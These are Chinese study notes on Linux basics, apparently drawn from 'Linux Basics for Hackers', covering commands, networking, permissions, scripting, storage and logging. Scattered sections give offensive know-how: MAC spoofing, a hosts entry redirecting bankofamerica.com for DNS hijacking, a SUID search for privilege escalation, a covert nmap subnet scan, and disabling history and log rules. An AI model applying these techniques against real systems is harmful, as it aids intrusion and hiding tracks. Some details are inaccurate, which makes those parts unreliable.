Linux 基础

Linux 文件系统

逻辑文件系统

1
2
3
4
5
6
7
8
文件系统的根(/)位于文件系统目录树的顶部,以下是要了解的最重要的子目录: 
/root root 用户的主目录
/etc 通常包含 Linux 配置文件 - 控制程序启动时间和方式的文件
/home 用户的主目录
/mnt 将其他文件系统附加或安装到文件系统的位置
/media CD 和 USB 设备通常连接或安装到文件系统的位置
/bin 其中包含应用程序二进制文件(相当于 Microsoft Windows 中的可执行文件)
/lib lib 库文件(与 Windows DLL 类似的共享程序)

Linux基本命令

pwd 查看当前目录

whoami 查看登录用户

cd 更改目录

ls 列出目录内容

ls -l 列出目录输出为长列表

ls -a(ls -la)列出内容包括隐藏文件、

sth - help 获取帮助

man sth 使用man引用手册页

搜索查找

locate sth 此命令将遍历整个 文件系统并找到该单词的每个匹配项。

whereis sth 此命令不仅返回二进制文件的位置,还返 回其源和手册页(如果可用)。

which sth 在PATH变量中查找二进制文件

find:

​ 语法:find directory options expression

​ 例:find / -type f -name apache2.* (f表示普通文件)

ps aux 提供了在这个系统中运行的所有进程的列表

grep 过滤关键字(配合管道符)

cat 显示文件

cat > 创建小文件(CTRL-D保存)

cat >> 附加

touch filename 创建名为filename的文件

mkdir \dirname 创建目录

cp oldfilename path/newfilename 复制文件

mv oldfile newfile 迂回重命名文件

rm filename 删除文件

rmdir dirname 删除空目录

rm -r dirname 删除目录及文件

head filename 查看开头前(默认)十行

head -20 filename 查看开头前20行

tail filename 同head,查看文件尾

nl filename 显示行号

例:tail -n+507 /etc/snort/snort.conf | head -n 6

sed 查找和替换

例:sed s/mysql/MySQL/g /etc/snort/snort.conf > snort2.conf

s 参数提供搜索,你先提供想要搜索的关键词 (mysql) 然后提供想要替换成的关键词 (MySQL), 用斜杠 (/)分开。g 参数告诉 Linux 你希望全局替换,然后将结果保存到一个新文件 snort2.conf。

如果你只想替换第一个出现的 mysql,你需要去掉末尾的 g 参数。

你也可以使用 sed 命令查找替换第一个出现字段以外的任意位置出现的字段。例如,如果你想只替换 第二个出现的 mysql,

sed s/mysql/MySQL/2 snort.conf > snort2.conf

more filename 控制显示文件 enter键换行

less filename 按下斜杠键(/), 输入(output),这会立即将你带到第一个出现 output 的地方,并且高亮了 output。然后你可以按 n 键(next)到下一 个出现 (output )的地方。

分析和管理网络

ifconfig

eth0(Ethernet0)第一个有线以太网接口

Ethernet 以太网

HWaddr 每个网络硬件上标记的全局唯一标记,在这种情况下,网络接口卡 network interface card (NIC), 通常指的是媒体访问控制 media access control (MAC) 地址。

inet addr 分配IP地址信息的网络接口

Bcast 广播地址,用于向子网上的所有 IP 发送信息的地址;

Mask 子网掩码,用于确定 IP 地 址的哪个部分连接到本地网络

lo 环回地址(loopback address) 并且有时称为 localhost 这是个特殊的软件地址,可帮助你连接到自己的系统。未在系统上运行的软件和服务将 无法被使用。你可以使用 lo 在你的系统测试某些内容,例如你自己的 web 服务器。本地主机通常用 IP 地 址 127.0.0.1 表示。

wlan0 只有当拥有无线接口或适配器时,才会出现这种情况。请注意,它还 会显示该设备 (HWaddr)的 MAC 地址。

来自 ifconfig 的此信息使您可以连接并操作局域网 (LAN) 设置,这是黑客攻击的基本技能(内网穿透么?)

iwconfig

1
2
3
4
5
6
kali >iwconfig 
wlan0 IEEE 802.11bg ESSID:off/any
Mode:Managed Access Point: Not Associated Tx-Power=20 dBm
­­snip--
lo no wireless extensions
eth0 no wireless extensions

对于 wlan0,我们了解了我们的设备能够支持的 802.11 IEEE 无线标准:b 和 g , 两种早期的无线通 信标准。现在大多数无线设备也包括 n ( n 是最新的标准)。

我们还从 iwconfig 中学习了无线扩展的模式(本例中为 Mode:Manage,不同于 monitor 或 promiscuous mode)。在破解无线密码时,我们需要使用到混杂模式(promiscuous mode)。

接下来,我们将看到无线网卡(适配器)未连接(未关联)到接入点 (AP) ,并且其功率为 20 dBm, 这表示信号强度。

更改你的网络信息

ifconfig eth0 192.168.181.115 netmask 255.255.0.0 broadcast 192.168.1.255

使用 ifconfig 命令改变你的IP,子网掩码,广播地址

伪装MAC( HWaddr )地址:

​ 简单地使用 ifconfig 命令的 down 选项来关闭该接口

​ 然后输入 ifconfig 命令并加上接口名称 (hw 表示硬件,ether 表示以太网) 和新的伪造 MAC 地

​ 最后,使用选项 up 备份接口以进行更改。

例:

1
2
3
kali >ifconfig  eth0  down 
kali >ifconfig eth0 hw ether 00:11:22:33:44:55
kali >ifconfig eth0 up

dhclient eth0 从 DHCP服务器分配新的 IP地址

dig hackers-arise.com ns (nameserver 的缩写)从一个域名服务器获取信息

在 ADDITIONAL SECTION 部分,dig 查询显示了为 hackers­arise.com 提供服务的 DNS 服务 器的 IP 地址

dig hackers-arise.com mx 获取电子邮件服务器信息

更改DNS服务器

leafpad /etc/resolv.conf 然后文中添加 nameserver 8.8.8.8

or

echo “nameserver 8.8.8.8” >> /etc/resolv.conf

(你的机器现在将转到 Google 公共 DNS 服务器来解析域名成 IP 地址。)

映射您自己的IP地址(你可以决定浏览器将访问哪个 IP 地址而不是让 DNS 服务决定)

对于黑客,这对于劫持局域网上的 TCP 连接以使用 dnsspoof 等工具将流量定向到恶意 Web 服务 器非常有用。

192.168.181.131 bankofamerica.com (在 IP 地址和域名中间请确保你输入的是 TAB 键)

添加或删除软件

apt-cache search [snort] 搜索软件包

apt-get install [snort] 添加软件

apt-get remove [snort] 删除软件 (不删除配置文件)

apt-get purge [snort ] 删除软件及其配置文件

apt-get update 更新系统

apt-get upgrade 升级库中的包

​ 添加软件仓库到 SOURCES.LIST 文件 :

​ kali >leafpad /etc/apt/sources.list

1
2
deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main  
deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu precise main

​ 其中

​ main 包含受支持的开源软件
​ universe 包含社区维护的开源软件
​ multiverse 包含受版权或其他法律问题限制的软件
​ restricted 包含专有设备驱动程序
​ backports 包含来自后续版本的

git clone url

控制文件和目录权限

权限:

必须为每个文件和目录分配使用它的不同身份的特定级别的权限。三个级别的许可如下:

r 读权限。赋予用户打开与查看权限
w 写权限。赋予用户查看与编辑写入权限
x 执行权限。赋予用户执行一个文件(但是没有必要查看或者编辑它)

通过这种方式,root 用户可以根据用户需要的权限向用户授予一定级别的权限。创建文件时,通常创 建文件的用户是文件的所有者,用户组是用户的当前组。该文件的所有者可以授予它各种访问权限。让我 们看看如何更改权限以将所有权赋予给单个用户和组。

chown user filename 赋予个人用户权限

chgrp group filename 赋予用户组权限

检查权限 ls -l

例:

1
2
3
4
5
6
7
8
9
kali >ls  –l  /usr/share/hashcat 
total 32952
➊➋ ➌ ➍ ➎ ➏ ➐
drwxr-xr-x 5 root root 4096 Dec 5 10:47 charsets
­rw-r--r-- 1 root root 33685504 June 28 2018 hashcat.hcstat
­rw-r--r-- 1 root root 33685504 June 28 2018 hashcat.hctune
drwxr -xr-x 2 root root 4096 Dec 5 10:47 masks
drwxr -xr-x 2 root root 4096 Dec 5 10:47 OpenCL
drwxr -xr-x 3 root root 4096 Dec 5 10:47 rules

第一个字符告诉您文件类型,其中 d 代表目录,短划线( - )表示文件。
下一节定义文件的权限。有三组 三个 字符,由 read(r), write(w)和 execute(x)的某种组合按顺 序组成。

第一组代表所有者的权限,第二组代表用户所在组的权限以及最后一个,所有其他用户的权限。

无论您正在查看哪一组三个字母,如果您首先看到 r,该用户或用户组都有权打开和读取该文件或目录。 作为中间字母的 w 意味着它们可以写入(修改)文件或目录,并且最后的 x 意味着它们可以执行(或运行) 文件或目录。如果用短划线( - )替换任何 r,w 或 x,则未给出相应的权限。

二进制 十进制 权限(rwx)
000 0
001 1 –x
010 2 -w-
011 3 -wx
100 4 r–
101 5 r-x
110 6 rw-
111 7 rwx

chmod 774 hashcat.hcsta 更改文件权限(7 文件所有者权限 7 文件所有者所在组权限 4其他所有用户权限 )

UGO语法:

输入 chmod 命令,然后输入要更改权限的用户,为用户提供 u,为组提供 g,为 其他用户提供 o,或者输入三个运算符之一:

- 移除一个权限

+ 添加一个权限

= 设置一个权限

在操作符之后,包括要添加或删除的权限(rwx),最后包含要应用它的文件的名称。

例:

chmod u-w hashcat.hcstat 删除用户对 hashcat.hcstat 所属文件的写入权限

chmod u+x, o+x hashcat.hcstat 同时为用户和其他用户(不包括组)授予执行权限

Linux 自动分配基本权限(通常为文件 666 和目录 777)。

umask 方法表示要从文件或目录的基本权限中删除 的权限,以使其更安全。

当创建新文件或目录时,它权限设置为默认值减去 umask 中的值

与大多数 Debian 系统一样,umask 预先配置为 022,这意味着 Kali 默认值为 644,文件为 755,目录为 755。

umask

umask 值对于系统上的所有用户都不是通用的。每个用户都可以为其个人.profile 文件中的文件和目录 设置个人默认 umask 值。要以用户身份登录时查看当前值,只需输入命令 umask 并记下返回的内容。要更 改用户的 umask 值,请编辑该文件/home/username/.profile,例如,添加 umask 007 进行设置,以便只有所有者和用户组的成员才具有权限。

特别权限:

设置用户 ID(或 SUID), 设置组 ID(或 SGID)

使用 SUID授予临时 root权限

正如您现在应该知道的那样,用户只有在有权执行该特定文件时才能执行该文件。如果用户只具有读 取和(或)写入权限,则无法执行。这可能看起来很简单,但这条规则有例外。
你可能遇到过这样一种情况:文件在被所有用户(即使非 root 用户)执行期间都需要 root 用户的权限。 例如,允许用户更改其密码的文件需要访问/etc/shadow(Linux 中保存用户密码的文件),该文件需要 root 用户权限才能执行。在这种情况下,通过在程序上设置 SUID 位,可以临时授予所有者执行文件所需的特权。
基本上,SUID 位表示任何用户都可以使用所有者的权限来执行该文件,但这些权限不会超出使用该文 件的范围。
要设置 SUID 位,请在常规权限之前输入 4,因此当设置 SUID 位时,具有 644 的新结果权限的文件表示为 4644

使用 SGID授予 Root用户组权限

SGID 授予临时权限,但它授予文件所有者组的权限,而不是文件所有者的权限。这意味着,设置 SGID 位,如果用户组有权执行该文件,没有执行权限的人也可以执行文件。
应用于目录时,SGID 位的工作方式略有不同:当该位置位时在目录中,在该目录中创建的新文件的所有权将转到目录创建者的组,而不是文件创建者的组。当多个用户共享目录时,这非常有用。该组中的所有用户都可以执行文件,而不仅仅是单个用户。
SGID 位在常规权限之前表示为 2,因此当 SGID 位置位时,具有结果权限 644 的新文件将表示为 2644。
同样,您可以使用 chmod 命令(例如,chmod 2644 filename) 。

提权

作为黑客,您可以使用特别权限获取临时 root 权限并执行恶意操作,例如访问/etc/shadow 中的密码。

在文件系统的任何位置查找对于 root 用户或其他 sysadmin,具有权限 4000( SUID 位)的文件。

find / -user root -perm -4000

1
2
3
4
5
kali >cd  /usr/bin 
kali >ls -l
­rwxr-xr-x 1 root root 176272 Jul 18 2018 stunnel4
­rwxr-xr-x 1 root root 26696 Mar 17 2018 sucrack
➊-rwsr-xr-x 1 root root 140944 Jul 5 2018 sudo

请注意➊,所有者的第一组权限(具有 s 代替 x)。这就是 Linux 表示 SUID 位已设置的方式。这意味着 任何人跑sudo文件具有root用户的权限,这可能是系统管理员的安全问题,也可能是黑客的潜在攻击媒介。

进程管理

ps

查看进程

USER 进程用户
PID 进程 id
%CPU CPU 占用率
75
%MEM 进程 CPU 占用率
COMMAND 进程名

通常,要对进程执行任何操作,我们必须指定其 PID。

通过进程名过滤进程

例: ps aux | grep msfconsole

top

按使用的资源排序的进程显示 ,从最大的进程开始。与 ps 命令不同的是,top 命令每 10 秒动态刷新一次列表, 而 ps 命令只提供一次进程快照。

nice

在运行进程时设置优先级

例:nice -n -10 /bin/slowprocess

高 nice 值为低优先级,低 nice 值为高优先级

进程的所有者可以降低进程的 优先级,但不能增加其优先级。当然,超级用户或根用户可以随意将 nice 值设置为他们喜欢的任何值。

renice

例:renice 20 [PID]6996

与 nice 一样,只有 root 用户可以将进程重新设置为负值以赋予其更高的优先级,但任何用户都可以使 用 renice 来降低优先级。

kill

命令:kill -signal PID

SIGHUP 1
这称为挂起(HUP)标志信号。它会停 止指定的进程并使用相同的PID重新启 动它。
SIGINT 2
这是中断(INT)信号。这是一个弱信 号,不能保证工作,但它在大多数情 况下都有效。
SIGQUIT 3
这称为核心转储。它终止进程并将进 程信息保存在内存中,然后将此信息 保存在当前工作目录中的一个名为 core 的文件中。(这样做的原因超出 了本书的范围。)
SIGTERM 15
这是终止(TERM)信号。这是 kill 命令的默认 kill 信号。
SIGKILL 9
这是强制终止信号。它通过将进程的 资源发送到特殊位置/dev/null 来强 制进程停止。
使

如果您不知道进程的 PID,则可以使用 killall 命令终止进程。此命令将进程的名称(而不是 PID)作为参 数。

在后台运行进程

要在后台启动进程,只需在命令末尾添加一个与号(&),

例: leafpad newscript &

把后台运行的进程移到前台

命令:fg PID

定时执行程序

at

当您使用指定的时间进入 at 守护进程时,进入交互模式时,您会看到 at>提示符。您可以在此处输入 要在指定时间执行的命令:

1
2
kali >at  7:20am 
at >/root/myscanningscript

at 命令是守护进程(后台进程)对于将作业安排在将来的某个时刻运行一次非常有用。

crond 更适合于 安排任务每天,每周或每月发生。

管理用户环境变量

env 查看所有默认环境变量

set | more 要查看所有环境变量,包括 shell 变量、本地变量和 shell 函数(如任何用户定义的变量和命令别名)

set | grep HISTSIZE 特定变量的过滤

HISTSIZE=0 暂时更改会话的变量值

export HISTSIZE 永久更改会话的变量值(更改后 export)

找点乐子:

​ PS1=”World’s Best Hacker: #”

​ export PS1

PS1 变量有一组占位符,用于显示希 望在提示符中显示的信息,包括以下内容: \u 当前用户的名称 \h 主机名 \W 当前工作目录的基本名称

添加到PATH变量

PATH=$PATH:/root/newhackingtool

创建用户定义的变量

语法很简单:输入变量的名称,后面跟着赋值符号(=),然后输入变量的值,如下所示:

1
2
3
kali >MYNEWVARIABLE="Hacking is the most valuable skill set in the 21st century
kali >echo $MYNEWVARIABLE
Hacking is the most valuable skill set in the 21st century

就像我们的系统环境变量一样,必须导出用户定义的变量才能将其持久化到新的会话中。

如果要删除这个新变量或任何变量,请使用 unset 命令。不过,在删除系统变量之前一定要三思,因 为之后系统的操作可能会大不相同。

1
2
3
kali >unset MYNEWVARIABLE 
kali >echo $MYNEWVARIABLE
kali >

如您所见,当您输入 unset MYNEWVARIABLE 时,您将删除该变量及其值。如果在同一个变量上使用 echo,Linux 现在将返回空行。

简单BASH 脚本编程

#! 告诉您的操作系统您想为脚本使用哪个解释器。

然后按照指示的 (#!/bin/bash)操作系统使用 bash shell 解释器。

1
2
3
4
5
6
7
8
9
10
11
#! /bin/bash 

# This is your second bash script. In this one, you prompt /
# the user for input, place the input in a variable, and /
# display the variable contents in a string.

echo "What is your name?"
read name
echo "What chapter are you on in Linux Basics for Hackers?"
read chapter
echo "Welcome" $name "to Chapter" $chapter "of Linux Basics for Hackers!"

我们从#!/bin/bash 开始,告诉系统要使用这个脚本➊bash 解释器。然后添加一个注释描述脚本➋及其 功能。之后,我们提示用户输入他们的名字,➌问解释器我们的名字,读取输入并将其转换成一个变量 name。 然后我们提示用户输入他们目前正在这本书中的所在章节,➍我们再次读取键盘输入一个变量,这个章节 叫 chapter。
在最后一行中,我们构造一个输出字符串,➎欢迎读者(他们的名字)在此书的所在章节。我们使用 echo 命令,并用双引号提供要在屏幕上显示的文本。然后,为了填写用户输入的名称和章号,我们将变量 添加到消息中应该出现的位置。如第 7 章所述,要使用变量中包含的值,必须在变量名前面加上$符号。
将此文件保存为 WelcomeScript.sh 文件。其中.sh 扩展名是脚本文件的约定。您可能已经注意到,我们 没有包含前面的扩展名,这并不是严格要求的,如果您关闭扩展名,该文件将默认保存为 shell 脚本文件。
现在,让我们运行这个脚本。不要忘记先用 chmod 给其执行权限

nmap:

nmap -sT 192.168.181.1 -p 3306 对地址 192.168.181.1 执行 TCP 扫描,查看端口 3306 (MySQL 的默认端口)是否打开,

一个简单的扫描器

1
2
3
4
5
6
➊ #! /bin/bash 
➋ # This script is designed to find hosts with MySQL installed
nmap ➌-sT 192.168.181.0/24 ➍-p 3306 ➎>/dev/null ➏-oG MySQLscan
➐ cat MySQLscan | grep open > MySQLscan2 ➑

cat MySQLscan2

➊我们使用标识符#!开始。➋让我们遵循这个注释来解释脚本的用途。
现在,让我们使用➌nmap 命令 TCP 扫描局域网,寻找端口 3306➍。(请注意,您的 IP 地址在您的终端 中可能不同,请使用 Linux 上的 ifconfig 命令或 Windows 上的 ipconfig 命令来确定您的 IP 地址。) 为了保持 隐秘,我们还发送通常会出现在屏幕上的标准 nmap 输出到 Linux 的一个特殊的地方➎,一个特殊的地方在 Linux 中消失。我们在本地机器上做这个,所以这并不重要,但如果要远程使用脚本,则需要隐藏 nmap 输 出。然后,我们将扫描的输出发送到一个名为 MySQLscan 的文件➏,格式为 grep 格式,这意味着 grep 可以 处理的格式。

下一行显示我们存储输出的 MySQLscan 文件,➐然后输出到 grep 的管道,以过滤包含关键字 open(端 口开放)的所在行。然后我们把这些字符行放到一个命名为 MySQLscan2 的文件中➑。

注:这里只对bash进行简单的介绍。

内置 Bash 命令
命令 功能
: 返回 0 或 true
. 执行 shell 脚本
b 将作业放在后台
break 退出当前循环
cd 改变目录
continue 执行当前循环
echo 显示命令参数
eval 计算以下表达式
exec 在不创建新进程的情况下执行以下命令
exit 退出 shell
export 使变量或函数对其他程序可用
fg 将工作放在前台
getopts 解析 shell 脚本的参数
jobs 列出后台(bg)执行的工作
Pwd 显示当前目录
Read 从标准输入读取一行
Readonly 将变量声明为只读
set 列出所有变量
shift 将参数向左移动
test 评估参数
[ 执行条件测试
times 打印用户和系统时间
trap 追踪一个信号
type 显示如何将每个参数解释为一个命令
umask 更改新文件的默认权限
unset 从变量或函数中删除值
wait 等待后台进程完成

压缩和归档

归档

tar -cvf HackersArise.tar hackersarise1 hackersarise2 hackersarise3

归档命令是 tar,我们在这里使用它有三个参数选项。c 选项表 示创建,v(代表详细过程,是可选的)列出 tar 正在处理的文件,f 表示写入以下一个文件。最后一个选项也 适用于从文件中读取。然后,我们为新归档文件提供您希望从这三个脚本来创建的文件名:HackersArise.tar。

tar -tvf HackersArise.tar 使用 tar 命令和-t 内容列表参数从 tar 包中显示这些文件,而不需要提取它们,

tar -xvf HackersArise.tar 使用 tar 命令和-x (extract)选项从 tar 包中提取这些文件

压缩

压缩方式 压缩文件 解压文件
• bzip2,它使用扩展名.tar.bz2 bzip2 HackersArise.* bunzip2 HackersArise.*
• compress,它使用扩展名.tar.Z compress HackersArise.* uncompress HackersArise.*
• gzip,它使用扩展名.tar.gz 或.tgz gzip HackersArise.* gunzip HackersArise.*

创建存储设备的逐位或物理副本

dd 命令的基本语法如下:

dd if=inputfile of=outputfile

dd 是指定输入文件的物理“复制”命令,

/dev/sdb 表示指定输出文件的/dev 目录下的闪存驱动器,

/root/flashcopy 是要将物理副本复制到的文件的名称

dd if=/dev/media of=/root/flashcopy bs=4096 conv:noerror

dd 命令可以使用许多参数选项,您可以对这些选项进行一些研究,但其中最有用的是 noerror 选项和 bs(块大小)选项。顾名思义,即使遇到错误,noerror 选项也会继续复制。bs 选项允许您确定要复制的数 据的块大小(每个块的读/写字节数)。默认情况下,它被设置为 512 字节,但是可以更改它以加快进度。通 常,这将设置为设备的扇区大小,通常为 4KB(4096 字节)。

文件系统和存储设备管理

设备目录/DEV

Linux 有一个特殊的目录,其中包含代表每个附加设备的文件:适当命名的/dev 目录。

1
2
3
4
5
6
7
8
9
10
kali >cd  /dev 
kali >ls -l total 0
crw------- 1 root root 10,175 May 16 12:44 agpgart
crw------- 1 root root 10,235 May 16 12:44 autofs
drwxr-xr-x 1 root root 160 May 16 12:44 block
­­snip--
lrwxrwxrwx 1 root root 3 May 16 12:44 cdrom -> sr0
­­snip--
drwxr-xr-x 2 root root 60 May 16 12:44 cpu
­­snip--

使用带有 fdisk 的-l 参数列出所有驱动器的所有分区,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
kali >fdisk  -l 
Disk /dev/sda: 20GiB, 21474836480 bytes, 41943040 sectors
108
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

Disk label type: dos
Disk identifier: 0x7c06cd70

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 39174143 39172096 18.7G 83 Linux
/dev/sda2 39176190 41940991 2764802 1.3G 5 Extended
/dev/sda5 39176192 41940991 2764800 1.3G 82 Linux swap / Solaris

Disk /dev/sdb: 29.8 GiB, 31999393792 bytes, 62498816 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos
Disk identifier: 0xc3072e18

Device Boot Start End Sectors Size Id Type
/dev/sdb1 32 62498815 62498784 29.8G 7 HPFS/NTFS/exFAT

设备 sda1、sda2 和 sda5 在第一节中列出。这三种设备构成了我的虚拟机的虚拟磁 盘,它是一个 20GB 的驱动器,有三个分区,包括交换分区(sda5),当 RAM 容量超过时,它充当虚拟 RAM —类似于 Windows 中的虚拟页面文件。
向下扫描到第三节,您将看到指定为 sdb -的第二个设备输出,b 标签告诉我们这个驱 动器与前三个设备是分开的。这是我的 64GB 闪存。注意,fdisk 表示它是 HPFS/NTFS/ExFAT 文件系统类型。 这些文件类型——高性能文件系统(HPFS)、新技术文件系统(NTFS)和扩展文件分配表(exFAT)——不是 Linux 系统的本机文件,而是 macOS 和 Windows 系统的。在进行研究时,能够识别不同系统的原生文件类型是值 得的。文件系统可能指出驱动器的格式设置在哪种机器上,这是有价值的信息。Kali 能够使用在许多不同操 作系统上创建的 USB 闪存驱动器。
正如您在第 1 章中看到的,Linux 文件系统的结构与 Windows 和其他专有操作系统有很大的不同。最重 要的是,Linux 中文件的存储和管理方式也不同。新版本的 Windows 使用 NTFS 文件系统,而旧的 Windows
109
系统使用文件分配表(FAT)系统。
Linux 使用许多不同类型的文件系统,但最常见的是 ext2、ext3 和 ext4。这些都是 ext(或扩展的)文件系 统的升级版,ext4 是最新的。

字符和块设备

关于/dev 目录中设备文件的命名,还需要注意的是,第一个位置包含 c 或 b。您可以在清单 10-1 的大 多数条目开头看到这一点,它看起来像这样:

这些字母代表设备输入和输出数据的两种方式。c 代表字符,如您所料,这些设备被称为字符设备。通 过逐个字符(如鼠标或键盘)发送和接收数据与系统交互的外部设备是字符设备。

b 代表第二种类型:块设备。它们以数据块(一次多个字节)进行通信,包括硬盘驱动器和 DVD 驱动器等 设备。这些设备需要更高的数据吞吐量,因此以块(一次多个字符或字节)的形式发送和接收数据。一旦您知 道一个设备是字符设备还是块设备,您就可以轻松地获得关于它的更多信息。

使用 lsblk列出 块设备和信息

Linux 命令 lsblk (list block 的缩写)列出/dev 中列出的每个块设备的一些基本信息。结果类似于 fdisk -l 的输出,但它也将在一种树型结构中显示具有多个分区的设备,将每个设备的分区显示为分支,并且不需 要运行根特权。例如,在清单 10-3 中,我们看到了 sda 及其分支 sda1、sda2 和 sda5。

1
2
3
4
5
6
7
8
9
10
11
kali >lsblk 
Name MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
fd0 2:0 1 4K 0 disk
sda1 8:0 0 20G 0 disk
|-sda1 8:1 0 18.7G 0 part /
|-sda2 8:2 0 1K 0 part
|-sda5 8:5 0 1.3G 0 part [SWAP]

sdb 8:16 1 29.8G 0 disk
|-sdb1 8.17 1 29.8G 0 disk /media
sr0 11:0 1 2.7G 0 rom

输出包括软盘驱动器作为 fd0, DVD 驱动器作为 sr0,尽管我的系统上没有软盘驱动器,这只是旧系统的 遗留。我们还可以在驱动器的挂载点上看到信息——这是驱动器附加到文件系统的位置。请注意,硬盘驱 动器 sda1 安装在/目录和闪存驱动器安装在/media 目录。

自己安装存储设备

mount /dev/sdb1 /mnt 将新硬盘 sdb1 挂载到/mnt 目录

卸载与 umount

umount /dev/sdb1

获取挂载磁盘上的信息

命令 df(对于空余磁盘)将为我们提供关于任何硬盘或挂载设备(如 CD、DVD 和闪存驱动器)的基本信息, 包括正在使用的空间和可用空间(参见清单 10-4)。如果没有任何选项,df 默认为系统上的第一个驱动器(在 本例中是 sda)。如果您想检查另一个驱动器,只需使用您想检查的驱动器表示形式(例如,df sdb)遵循 df 命 令即可。

1
2
3
4
5
6
7
kali >df  
Filesystem 1K-Blocks Used Available Use% Mounted on
rootfs 19620732 17096196 1504788 92% /
udev 10240 0 10240 0% /dev
­­snip--

/dev/sdb1 29823024 29712544 110480 99% /media/USB3.0

这里的第一行输出我们得到的信息显示类别标题,磁盘空间以 1KB 块的形式给出。在第二行,我们看 到 rootfs 有 19,620,732 个 1 千字节的块,其中使用了 17,096,196 个块(约占 92%),剩下 1,504,788 个可用。 df 命令还告诉我们这个文件系统安装在文件系统/根目录。
在最后一行,你可以看到我的 u 盘。注意,它被指定为/dev/sdb1,几乎 100%已满,挂载在/media/USB3.0。
综上所述,我在这个系统上的虚拟磁盘被指定为 sda1,它的信息如下:
sd SATA 硬盘
一个硬盘驱动器
驱动器上的第一个分区

我的 64GB 闪存驱动器指定为 sdb1,我的外部驱动器指定为 sdc1

检查错误

fsck 命令(文件系统检查的缩写)检查文件系统的错误并修复损坏(如果可能的话),或者将错误区域放入 一个错误块表中,将其标记为错误。要运行 fsck 命令,需要指定文件系统类型(默认为 ext2)和要检查的设 备文件。重要的是,在运行文件系统检查之前,必须卸载驱动器。

因此,执行文件系统检查的第一步是卸载设备。

kali >umount /dev/sdb1

我可以添加-p 选项,让 fsck 自动修复

kali >fsck -p /dev/sdb1

在设备卸载后,我现在可以检查设备的任何坏扇区或其他问题,如下:

1
2
3
4
5
6
7
8
9
10
11
12
kali >fsck  -p  /dev/sdb1  
fsck from util-linux 2.30.2
exfatfsck 1.2.7
Checking file system on /dev/sdb1.
File system version 1.0
Sector size 512 bytes
Cluster size 32 KB
Volume size 7648 MB
Used space 1265 MB
Available space 6383 MB
Totally 20 directories and 111 files.
File system checking finished. No errors found.

日志系统

Linux 使用一个名为 syslogd 的守护进程来自动记录计算机上的事件。syslog 的几个变体,包括 rsyslog 和 syslog-ng

rsyslog日志记录规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
###############  
#### RULES ####
###############
#
117
# First some standard log files. Log by facility.
#
auth,authpriv.* /var/log/auth.log
*.*;auth,authpriv.none -/var/log/syslog
#cron.* /var/log/cron.log
daemon.* -/var/log/daemon.log
kern.* -/var/log/kern.log
1pr.* -/var/log/lpr.log
mail.* -/var/log/mail.log
user.* -/var/log/user.log

#
# Logging for the mail system. Split it up so that
# it is easy to write scripts to parse these files.
#
mail.info -/var/log/mail.info
mail.warn -/var/log/mail.warn
mail.err /var/log/mail.err

每一行都是一个单独的日志记录规则,说明记录了哪些消息以及记录到哪里。这些规则的基本格式如
下:

1
facility.priority action

facility 关键字引用正在记录其消息的程序,例如邮件、内核或打印系统。priority 关键字决定为该程序 记录哪种类型的消息。在最右边的 action 关键字引用将发送日志的位置。让我们更仔细地看一下每个部分, 首先是 facility 关键字,它指的是生成日志的任何软件,无论是内核、邮件系统还是用户。

下面是一个有效的代码列表,可以用来代替我们的配置文件规则中的关键字 facility:
auth/authpriv 安全/授权消息
cron 时钟守护进程
daemon 其他守护进程
kern 内核消息
118
lpr 打印系统
mail 邮件系统
user 常规用户级别消息

星号通配符(*)代替单词指的是所有信息。 您可以通过以逗号分隔的列表来选择多个。
优先级告诉系统要记录哪种消息。代码从最低优先级列出,从调试开始到最高优先级,以严重结束。 如果优先级为*,则记录所有优先级的消息。指定优先级时,将记录该优先级及更高优先级的消息。例如, 如果指定的优先级代码为告警 alert,系统将记录分类为告警和更高优先级的消息,但不会记录标记为 crit 的消息或低于警报的任何优先级。以下是有效优先级代码的完整列表:

• debug

• info

• notice

• warning

• warn

• error

• err

• crit

• alert

• emerg

• panic
warning、warn、error、err、emerg、panic,这些都已被弃用,不应该使用。

操作通常是一个文件名和应该发送日志的位置。注意,通常,日志文件被发送到/var/log 目录,其文件 名描述为生成它们的工具,如 auth。这意味着,例如,由 auth 工具生成的日志将被发送到/var/log.auth.log。
让我们看一些日志规则的例子:

mail.* /var/log/mail
这个示例将所有(*)优先级的邮件事件记录到/var/log/mail 文件中。

kern.crit /var/log/kernel
这个例子将把危险(crit)优先级或更高的内核事件记录到/var/log/kernel 中。

*.emerg *
最后一个示例将记录所有登录用户的紧急事件(emerg)优先级的所有事件。

通过这些规则,黑客可以确 定日志文件的位置、更改优先级,甚至禁用特定的日志规则。

使用 LOGROTATE 自动清理日志

/etc/logrotate.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# see "man logrotate" for details  
# rotate log files weekly
➊ weekly

# keep 4 weeks worth of backlogs
rotate 4

➌ # create new (empty) log files after rotating old ones
create

➍ # uncomment this if you want your log files compressed
#compress

# packages drop log rotation information into this directory
include /etc/logrotate.d

# no packages own wtmp, or btmp -- we'll rotate them here
/var/log/wtmp
{ missingok
monthly
create 0664 root utmp
120
rotate 1
}

第一,你可以设置的时间单位数字参考➊。这里的默认值是 weekly,这意味着 rotate 关键字之后的任 何数字总是指 weeks(周) 。
进一步往下看,你可以看到设置切割转储日志默认设置的频率是每四个星期转储日志➋。这个默认配 置对大多数人都适用,但是如果您想让您的日志更长一些,以便进行调查,或者更短一些,以便更快地清 除它们,那么您应该更改这个设置。例如,如果您每周检查日志文件并希望节省存储空间,可以将此设置 更改为 rotate 1。如果您的日志有足够的存储空间,并且希望保留半永久记录以便以后进行取证分析,那么 您可以将此设置更改为 rotate 26 以保存六个月的日志,或者将 rotate 52 更改为保存一年的日志。
默认情况下,创建一个新的空日志文件当做旧日志的切割备份➌。在配置文件中建议,你也可以选择 压缩转储的日志文件➍。

